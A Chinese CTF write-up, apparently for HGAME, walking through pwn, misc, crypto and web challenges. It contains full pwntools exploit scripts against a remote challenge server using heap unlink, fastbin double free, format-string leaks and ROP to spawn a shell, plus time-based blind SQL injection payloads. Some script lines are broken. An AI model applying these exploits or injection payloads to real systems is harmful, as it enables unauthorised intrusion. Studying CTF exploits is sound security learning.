Pwn

namebook

打开程序，五个功能，没有开启PIE，没有后门函数以及system，需要泄露

64为程序中，每一次创建的chunk是0x80大小，实际大小0x90，最多建立10个name

```
struct eachname
{
    int ptr[i];   //size:0x80
}
```

分析一下个函数有啥问题

```
int set()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = myread();
  if ( v1 > 9 )
    return puts("invalid range");
  ptr[v1] = malloc(0x80uLL);
  printf("name:");
  sub_400876(ptr[v1], 0x80u);
  return puts("done.");
}

int reset()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = myread();
  if ( v1 > 9 || !ptr[v1] )
    return puts("invalid range");
  printf("name:");
  sub_400876(ptr[v1], 0x100u);    //可以覆盖
  return puts("done.");
}
```

我们可以看到初始的ptr在bss字段上，bss字段上存放的数据只有data，通过覆盖我们可以修改bk的pre_inuse，从而执行在freechunk1的时候unlink chunk0

一开始是想unlink完直接该got表内容，但是vmmap看了一下，got表是不可写的，唉RELRO真难受

问了aris，提示是malloc_hook,free_hook

malloc函数会首先检查malloc_hook的值，若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转

调试的时候坑还是挺多的

exp

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./namebook')
    bin = ELF('./namebook')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.24.3.214',12344)
    bin = ELF('./namebook')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

# function
def set(idx,content):
    cn.sendline('1')
    cn.recvuntil('index:')
    cn.sendline(str(idx))
    cn.recvuntil('name:')
    cn.sendline(content)

def delete(idx):
    cn.sendline('2')
    cn.recvuntil('index:')
    cn.sendline(str(idx))

def get(idx):
    cn.sendline('3')
    cn.recvuntil('index:')
    cn.sendline(str(idx))

def reset(idx,content):
    cn.sendline('4')
    cn.recvuntil('index:')
    cn.sendline(str(idx))
    cn.recvuntil('name:')
    cn.sendline(content)
```

```
malloc=bin.got['malloc']
free_hook=0x00000000003c67a8
#z('disassemble main')
#z('b *0x0000000000400A3B\nb *0x0000000000400A85\nc')
#z('b *0x0000000000400A85\nb *0x0000000000400AFF\nc')
#z('b *0x0000000000400B9B\nc\nc\nc')
#z('b *0x0000000000400B72\nc')
ptr_addr=0x602040
chunk1_addr=ptr_addr+0x90
# build chunk
for i in range(3):
    set(i,0x80*str(i))
# edit 0 to overflow 1
# 0.fd + 0.bk + 0.data + 1.presize + 1.size
payload=p64(0x90)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-
0x10)+'0'*0x60+p64(0x80)+p64(0x90)
reset(0,payload)
delete(1) # chunk0_addr changed to ptr-0x18
payload='a'*0x18+p64(ptr_addr-0x18)
payload+=p64(malloc)
reset(0,payload) # change ptr to malloc.got
get(1)
malloc_addr=cn.recvuntil('\x0a')[:-1]
cn.recv()
malloc_addr=u64(malloc_addr+'\x00'*(8-len(malloc_addr)))
print('malloc_addr:'+hex(malloc_addr))
libc.base=malloc_addr-libc.symbols['malloc']
system_addr=libc.base+libc.symbols['system']
free_hook=libc.base+free_hook
print('libc.base:'+hex(libc.base))
print("system_addr:"+hex(system_addr))
print('free_hook:'+hex(free_hook))

# change chunk1 to free_hook
payload='a'*0x18+p64(ptr_addr)
payload+=p64(free_hook)
reset(0,payload)
# change free_hook to system
reset(1,p64(system_addr))
# prepare /bin/sh
payload='/bin/sh\x00'
reset(2,payload)
#get shell
delete(2)

cn.interactive()
```

知识点：unlink、free_hook、分析堆块在bss字段上的结构体

薯片拯救世界3

检查一下程序有啥，有一个backdoor函数，partial relro，没有pie，我现在的想法就是把got表改成backdoor

函数主体如下

```
while ( 1 )
  {
    while ( 1 )
    {
      Menu();
      putchar('>');
      v3 = sub_4009BA();
      if ( v3 != 2 )
        break;
      Edit();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        send('>');
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("相信会吸引很多的强♂ 者前来");
          exit(0);
        }
LABEL_14:
        puts("无效的选择...");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      Build();
    }
  }
```

四个功能，第四个就类似于推出，主要就是创建，编辑，发布

每个notice是依次建立的chunk，最多建10个

chunk基地址是0x00000000006020C0

```
struct notice
{
    int ptr[i];  //就一个地址，里面存放着内容 size=0x60
}
```

漏洞如下

```
void send()
```

```
{
  int v0; // [rsp+Ch] [rbp-4h]

  printf("请输入公告编号:");
  v0 = get_choice();
  if ( ptr[v0] )
  {
    printf("奉天承运,Ch1p诏曰:%s\n", ptr[v0]);
    free(ptr[v0]);   //没有赋0, 可以double free
  }
  else
  {
    puts("404 Not Found.");
  }
}
```

别的漏洞还没有看出来

引用一下ctf-wiki上的话(我难得看得懂的部分)

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

1. fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
2. fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。

exp

```
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./CSTW_3')
    bin = ELF('./CSTW_3')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.24.3.214',12342)
    bin = ELF('./CSTW_3')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()
```

```
def build(content):
    cn.recvuntil('>')
    cn.sendline('1')
    cn.recvuntil('公告内容:')
    cn.sendline(content)

def send(idx):
    cn.recvuntil('>')
    cn.sendline('3')
    cn.recvuntil('请输入')
    cn.sendline(str(idx))

def edit(idx,content):
    cn.recvuntil('>')
    cn.sendline('2')
    cn.recvuntil('请输入')
    cn.sendline(str(idx))
    cn.recvuntil('公告内容:')
    cn.sendline(content)

#z('b *0x0000000000400B0C\nc')
#z('b *0x0000000000400B83\nc')
free=0x602045
ptr=0x6020c0
backdoor=0x0000000000400A04
cn.send('a'*4)
# build 2 chunk
for i in range(2):
    build(str(i))

# double free
send(0)
send(1)
send(0)

# change fd
payload=p64(free)+'a'*(0x60-8)
build(payload)
for i in range(2):
    build(str(i+3))

build('b')
payload='a'*(0x2058-0x2055)+p64(backdoor)
edit(5,payload)
cn.recvuntil('>')
cn.sendline('1')

cn.interactive()
```

知识点：aris带我算了一遍fatbin中chunk的范围，bin不够了要绕过范围之类的

Steins;Gate3

```
.text:0000000000000C78 ; __unwind {
.text:0000000000000C78                 push    rbp
.text:0000000000000C79                 mov     rbp, rsp
.text:0000000000000C7C                 sub     rsp, 10h
.text:0000000000000C80                 mov     [rbp+command], rdi
.text:0000000000000C84                 mov     rax, [rbp+command]
.text:0000000000000C88                 mov     rdi, rax        ; command
.text:0000000000000C8B                 call    system
.text:0000000000000C90                 nop
.text:0000000000000C91                 leave
.text:0000000000000C92                 retn
```

区别就在这里，command可以我们自己靠rbp偏移去解决掉，调用我们自己想要的command

所以也就只有最后以快不一样，因为我们不需要完整的PIE了，泄露与rbp有关的地址在进行偏移就好调整就好

因为一开始想的是gate2执行了两次main，然后我也泄露出了完整的PIE，再执行一次main，把rbp泄露出来就好

exp

```python
#coding=utf8
from pwn import *
import binascii
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./Gate3')
    bin = ELF('./Gate3')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('118.24.3.214',12343)
    bin = ELF('./Gate3')
    #libc = ELF('')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


#z('disassemble main\n')
cn.recvuntil('ID:')
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)

# leak rand num
```

```python
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie1=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie1=str(hex(pie1))[2:]
pie1=binascii.unhexlify(pie1+'9')
print(pie1)
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload3)

#leak canary
cn.recvuntil('Payment of past debts.')
payload4='%11$p'
cn.send(payload4)
#cn.recvline()
canary=cn.recvuntil("To seek the truth of the world.\n")[:-0x46]
canary=int(canary,16)
print(hex(canary))

#rop
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*0x08+'\xc0'+pie1
cn.send(payload5)

#the second
print(cn.recvuntil('ID:'))
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload6=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload6)


#getk rand num
cn.recvuntil('man.')
payload7='%7$p'
cn.send(payload7)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload7=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload7)

#leak all pie
cn.recvuntil('Payment of past debts.')
payload8='%13$p'
cn.send(payload8)
pie=cn.recvuntil("To seek the truth of the world.\n")[:-73]
```

```
#print(pie)
pie=int(pie,16)<<12
print(hex(pie))
rdi=pie+0xe83
bin_sh=pie+0x202040
command=pie+0xc84
payload5='a'*(0x40-0x10)+p64(0x2333)+p64(canary)+'a'*0x08+'\xc0'+pie1
cn.send(payload5)

#rop
cn.recvuntil('ID:')
cn.sendline('/bin/sh\x00')
cn.recvuntil('world.')
payload=(0x40-0x10)*'a'+p64(0x2333)
cn.send(payload)

# leak rand num
cn.recvuntil('man.')
payload2='%7$p'
cn.send(payload2)
num=cn.recvuntil('it?')
rand=int(num[:11],16)
pie=int(num[15:16],16) # I find you for a long time, leak pie
print(hex(rand))
pie=str(hex(pie))[2:]
pie=binascii.unhexlify(pie+'9')
print(pie)
payload3=(0x40-0x24)*'a'+p32(0x6666)+(0x40-0x10-0x24+4)*'a'+p32(0x1234+rand)
cn.send(payload3)

# get shell
cn.recvuntil('Payment of past debts.')
payload1='%12$p'
cn.send(payload1
rbp=int(cn.recvuntil('To seek the truth of the world.')[:-69],16)
print(hex(rbp))
payload2=p64(bin_sh)+'a'*(0x28)+p64(0x2333)+p64(canary)+p64(rbp-0x68)+p64(command)
cn.sendline(payload2)

cn.interactive()
```

babytcache

这题paitial relro，no PIE，闻到了改got表的栖息，提示说可利用格式化字符串进行读写

同时题目还涉及到tcache这一种比较新的缓存机制，完全不会，现学

学习资料：https://www.360zhijia.com/anquan/371580.html

以下介绍全部来自学习资料，就是为了自己看起来方便点

简单地说，它对每个线程增加一个bin缓存，这样能显著地提高性能，默认情况下，每个线程有64个bins，以16(8)递增，mensize从24(12)到1032(516)

每个bin是单链表结构，单个tcache bins默认最多包含7个块

释放时，_int_free中在检查了size合法后，放入fastbin之前，它先尝试将其放入tcache

在_int_malloc中，若fastbins中取出块则将对应bin中其余chunk填入tcache对应项直到填满（smallbins中也是如此）

在__libc_malloc，_int_malloc之前，如果tcache中存在满足申请需求大小的块，就从对应的tcache中返回chunk

unsorted bin 我还没接触过，先放一放，来看看题目

程序主要就是如下四个功能

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  menu();
  while ( 1 )
  {
    while ( 1 )
    {
      putchar(62);
      v3 = read_choice();
      if ( v3 != 2 )
        break;
      delete();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        show();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add(62LL, a2);
    }
  }
}
```

分析一下有啥漏洞

add函数

```
int add()
{
  int v1; // ebx

  if ( dword_6020C0 > 9 )
    return puts("Full!");
  printf("content:");
  v1 = dword_6020C0;
  ptr[v1] = (char *)malloc(0x50uLL);
  myread((__int64)ptr[dword_6020C0], 0x50u);
  ++dword_6020C0;
  return puts("Done.");
}
```

能创建10个chunk，首地址在0x6020E0，每次创建的大小固定为0x60，结构体和之前的题目一样，就是一个指针，ptr[i]放内容，没什么毛病

delete函数

```
void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v0 = read_choice();
  if ( v0 < dword_6020C0 )
    free(ptr[v0]);     //double free，未赋0
  else
    puts("out of range!");
}
```

show函数

```
int show()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index:");
  v1 = read_choice();
  if ( v1 < dword_6020C0 )
    result = puts(ptr[v1]);
  else
    result = puts("out of range!");
  return result;
}
```

没什么问题感觉

Misc

听听音乐?

音频里面可以听出来有摩斯密码，用Audacity打开，然后翻译摩斯密码

1T_JU5T_4_EASY_WAV

Crypto

babyRSA

直接egcd，然后失败，发现公约数e与(p-1)*(q-1)的公约数4，直接e/4=3，感觉是小指数的RSA问题，失败，老老实实做

我自己python精度不够，gmpy2还没下下来，后来用matlab，mma算的，想办法弄个gmpy2下来

```
def hcf(x, y):
    """该函数返回两个数的最大公约数"""

    # 获取最小值
    if x > y:
        smaller = y
    else:
        smaller = x

    for i in range(1, smaller + 1):
        if ((x % i == 0) and (y % i == 0)):
            hcf = i

    return hcf

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


e = 12
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
ciphertext =
2060872153236902024678789266819444917696591567264586908159192861636308864472915705101961715856261436089883846151859217524093807880064765763374101364474 60
key = hcf(e, (p-1)*(q-1))
```

```
print(key)  # 4
# # print((p-1)*(q-1))
d = modinv(e//key, (p-1)*(q-1))
print(d)
M = pow(ciphertext, d, p*q)  # 2117561251816846570531080500150272
M =
20106844800109502536288854016069119595196463634259079507316147175432925273818188038332257
297004492492765022431372230373366290144995921
M = int(pow(M, 1/4))  # 精度不够
M = 2117561251816846604440536517998717
print(M)
m = str(hex(M)).replace('0x', '')
print(m)
# m = str(hex(M)).replace('0x', '')
# print(m)
flag = ''
for i in range(len(m)//2):
    flag += chr(int(m[2*i]+m[2*i+1], 16))
    print(flag)
```

Web

sqli-1

刚点进去有个md5要我绕过，在请教大佬之后知道可以爆破，用我之前爬虫题里的学的一点点正则匹配下来code，不断爆破……

我看了一些网上的教程，这题我一开始都不知道要输入啥，只能猜数字了

1.0，1，2，3，4一直猜，注出来个welcome to hgame

2.0 union select database() 数据库名字是hgame

3.0 union select table_name from information_schema.tables where table_schema='hgame'

出来表名 f1l1l1l1g 和 words

4.0 union select * from f1l1l1l1g 得到flag

sqli-2（未完成）

输啥都没反应，问了下出题人要爆破databse或者table，存在一个execute和error的提示

去理解了一下sleep的手法

另外从网上学到了一个姿势：ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

链接：https://www.cnblogs.com/lcamry/p/5763129.html

payload: 1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=%d,sleep(3),1)

试试看合在爆破脚本里怎么用，code变太快了，我失败了，坐等wp，纯手工来一波……

记录一下成功的语句：

```
1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=70,sleep(3),1)

11 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),2,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),3,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),4,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),5,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),6,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),7,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),8,1)))=49,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),9,1)))=52,sleep(3),1)

1 and if((ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),10,1)))=71,sleep(3),1)
```

table_name: F11111114G

不想猜列名了，直接select * 搏一搏，单车变摩托，不行，告辞，来段名，中间还是用了二分法

```
1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),1,1))=102,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),2,1))=76,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),3,1))=52,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),4,1))=52,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),5,1))=52,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),6,1))=52,sleep(3),1)

1 and if(ascii(substr((select column_name from information_schema.columns where
table_name='F11111114G' limit 0,1),7,1))=65,sleep(3),1)
```

colum_name:fL4444G，还最后一步了

```
1 and if(ascii(substr((select * from F11111114G limit 0,1),1,1))=104,sleep(3),1)

1 and if(ascii(substr((select * from F11111114G limit 0,1),1,1))=104,sleep(3),1)
```

hgame，我投降了